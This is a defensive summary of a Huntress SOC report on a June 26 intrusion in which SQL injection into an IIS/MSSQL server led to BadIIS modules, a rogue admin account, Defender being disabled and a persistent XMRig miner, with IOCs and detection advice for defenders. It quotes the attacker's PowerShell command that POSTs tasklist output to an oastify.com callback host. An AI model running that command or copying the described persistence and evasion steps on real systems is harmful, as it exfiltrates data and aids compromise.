Threat Actors Achieve Persistence After SQL Injection

What it is

Huntress SOC breakdown of a June 26 incident at a tech-sector org, focused specifically on the post-exploitation artifacts a defender can hunt for. The value beyond the summary is the concrete IOCs, file paths, and one detail the summary omits: CnCrypt Protect was added alongside the miner, and the actor disabled Windows Defender but left other EDR monitoring untouched — a notable, incomplete evasion.

How it works

After SQL injection into an IIS/MSSQL endpoint, sqlservr.exe spawned cmd.exe to fetch qdcjoke1.2.ps1 into C:\users\public\, which pulled further payloads including c_joke1.2.ps1. Recon used tasklist /svc, with output POSTed to an OAST callback. BadIIS modules were installed via appcmd.exe. Miner files (edge.exe, Taskgmr.ps1) were dropped into C:\Program Files (x86)\Microsoft\EdgeUpdate\ — a legitimate-looking path — then hidden with attrib.exe and made persistent with nssm.exe.

Preconditions / Affected

IIS web server co-located with an MSSQL instance on the same endpoint, with a web page that fails to validate user input (SQL injection). MSSQL service context able to spawn cmd.exe/PowerShell.

What to do

Hunt for these artifacts rather than relying on prevention:

• Exfil / OAST callback — decoded recon command:

powershell -Command "Invoke-WebRequest -Uri 'http[:]//334thribetlhkyo977gqrcht1k7bvdj2[.]oastify[.]com' -Method Post -Body $(tasklist /svc | Out-String)"

• Rogue account: adminweb2$ in the local Administrators group; enabled Terminal Services / RDP.
• File-system IOCs: edge.exe and Taskgmr.ps1 under C:\Program Files (x86)\Microsoft\EdgeUpdate\ with system/hidden/read-only attributes; qdcjoke1.2.ps1, c_joke1.2.ps1, xmr-1.zip; BadIIS HttpFastCgiModule.dll, HttpCgiModule.dll.
• Download infrastructure: pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]dev.
• Alert on sqlservr.exe spawning cmd.exe/PowerShell, appcmd.exe installing modules, and nssm.exe service creation.

flowchart TD
    A[SQLi via IIS web page] --> B[sqlservr.exe spawns cmd.exe]
    B --> C[tasklist /svc recon]
    C --> D[POST output to oastify.com]
    B --> E[Enable RDP + create adminweb2$]
    B --> F[Disable Defender]
    F -.leaves EDR untouched.-> F
    E --> G[BadIIS via appcmd.exe]
    E --> H[XMRig + nssm.exe persistence]

Caveats

The SQL injection is inferred from evidence (no direct MSSQL access observed), and BadIIS attribution leans on prior Cisco Talos research. No CVE or specific vulnerable application/version is named — the injection was an app-level input-validation flaw, so patch guidance is generic.